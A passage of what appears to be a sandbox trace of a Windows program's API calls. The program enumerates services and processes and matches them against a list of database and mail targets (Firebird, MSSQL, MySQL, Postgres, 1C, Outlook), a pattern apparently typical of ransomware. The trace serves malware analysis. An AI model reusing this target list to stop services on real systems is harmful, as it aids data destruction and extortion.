hSCManager=0x35f0188, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3eb0900, cbBufSize=0x134c, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3eb0900, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0044.165] CloseServiceHandle (hSCObject=0x35f0188) returned 1 [0044.165] lstrlenW (lpString="Appinfo") returned 7 [0044.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.166] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.166] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.166] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.166] lstrlenW (lpString="AudioSrv") returned 8 [0044.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.166] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.166] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.166] lstrlenW (lpString="BFE") returned 3 [0044.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.166] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.166] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.167] lstrlenW (lpString="CryptSvc") returned 8 [0044.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.167] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.167] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.167] lstrlenW (lpString="CscService") returned 10 [0044.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.167] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.167] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.167] lstrlenW (lpString="DcomLaunch") returned 10 [0044.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.168] lstrlenW (lpString="Dhcp") returned 4 [0044.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.168] lstrlenW (lpString="Dnscache") returned 8 [0044.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.168] lstrlenW (lpString="DPS") returned 3 [0044.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.168] lstrlenW (lpString="eventlog") returned 8 [0044.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.169] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.169] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.169] lstrlenW (lpString="EventSystem") returned 11 [0044.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.169] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.169] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.169] lstrlenW (lpString="FontCache") returned 9 [0044.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0044.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0044.169] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0044.169] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0044.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0044.169] lstrlenW (lpString="gpsvc") returned 5 [0044.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.169] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.170] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.170] lstrlenW (lpString="iphlpsvc") returned 8 [0044.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.170] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.170] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.170] lstrlenW (lpString="LanmanServer") returned 12 [0044.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.170] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.170] lstrlenW (lpString="lmhosts") returned 7 [0044.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.171] lstrlenW (lpString="MMCSS") returned 5 [0044.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.171] lstrlenW (lpString="MpsSvc") returned 6 [0044.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.171] lstrlenW (lpString="Netman") returned 6 [0044.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.172] lstrlenW (lpString="netprofm") returned 8 [0044.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.172] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.172] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.172] lstrlenW (lpString="NlaSvc") returned 6 [0044.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.172] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.172] lstrlenW (lpString="nsi") returned 3 [0044.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.172] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.172] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.172] lstrlenW (lpString="PcaSvc") returned 6 [0044.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.173] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.173] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.173] lstrlenW (lpString="PlugPlay") returned 8 [0044.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.173] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.173] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.173] lstrlenW (lpString="Power") returned 5 [0044.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.173] lstrlenW (lpString="ProfSvc") returned 7 [0044.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.174] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.174] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.174] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.174] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.174] lstrlenW (lpString="RpcSs") returned 5 [0044.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.174] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.174] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.174] lstrlenW (lpString="SamSs") returned 5 [0044.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.175] lstrlenW (lpString="Schedule") returned 8 [0044.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.175] lstrlenW (lpString="SENS") returned 4 [0044.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.175] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.175] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.175] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.175] lstrlenW (lpString="Spooler") returned 7 [0044.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.176] lstrlenW (lpString="sppsvc") returned 6 [0044.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0044.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0044.176] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0044.176] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0044.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0044.176] lstrlenW (lpString="SysMain") returned 7 [0044.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.176] lstrlenW (lpString="Themes") returned 6 [0044.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.177] lstrlenW (lpString="TrkWks") returned 6 [0044.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.177] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.177] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.177] lstrlenW (lpString="UxSms") returned 5 [0044.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.177] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.177] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.177] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.177] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.177] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.177] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.178] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.178] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.178] lstrlenW (lpString="WinDefend") returned 9 [0044.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0044.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0044.178] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0044.178] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0044.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0044.178] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.178] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.178] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.178] lstrlenW (lpString="Winmgmt") returned 7 [0044.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.179] lstrlenW (lpString="wscsvc") returned 6 [0044.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0044.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0044.179] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0044.179] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0044.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0044.179] lstrlenW (lpString="wuauserv") returned 8 [0044.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0044.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0044.179] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0044.179] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0044.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0044.179] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3eb0900 | out: hHeap=0x5c0000) returned 1 [0044.179] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0044.186] Process32FirstW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.187] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.188] lstrlenW (lpString="System") returned 6 [0044.188] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.188] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.188] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.188] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.188] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.188] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.188] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.188] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.189] lstrlenW (lpString="smss.exe") returned 8 [0044.189] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.189] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.189] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.189] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.189] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.190] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.190] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.190] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.191] lstrlenW (lpString="csrss.exe") returned 9 [0044.191] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.192] lstrlenW (lpString="wininit.exe") returned 11 [0044.192] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.193] lstrlenW (lpString="csrss.exe") returned 9 [0044.194] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.195] lstrlenW (lpString="winlogon.exe") returned 12 [0044.195] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, 